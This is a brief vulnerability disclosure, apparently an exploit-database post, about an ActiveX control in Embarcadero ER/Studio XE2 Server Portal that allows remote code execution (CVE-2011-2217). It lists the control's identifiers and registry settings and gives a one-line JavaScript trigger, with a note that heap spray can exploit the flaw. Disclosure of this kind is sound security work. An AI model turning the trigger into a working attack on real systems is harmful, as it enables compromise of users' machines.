Embarcadero ER/Studio XE2 Server Portal Tom Sawyer's Default GET Extension Factory ActiveX Control Remote Code Execution




See: CVE-2011-2217
reference url: http://www.securityfocus.com/bid/48099

The mentioned product is vulnerable to the same issue.

download url: https://downloads.embarcadero.com/free/er_studio_portal

ActiveX settings:
ProgID: TomSawyer.DefaultExtFactory.5.5.3.238.VS7.1
CLSID: {658ED6E7-0DA1-4ADD-B2FB-095F08091118}
Binary path: D:\Program Files\Embarcadero\ERStudioPortal1.6\PortalIntf\tsgetx71ex553.dll
Safe for scripting (registry): true
Safe for initialize (registry): true

poc:

<script>
var obj = new ActiveXObject("TomSawyer.DefaultExtFactory.5.5.3.238.VS7.1");
</script>

then the dll will try to call inside an unitialized memory region
which is reachable by an attacker through heap spray.

//rgod



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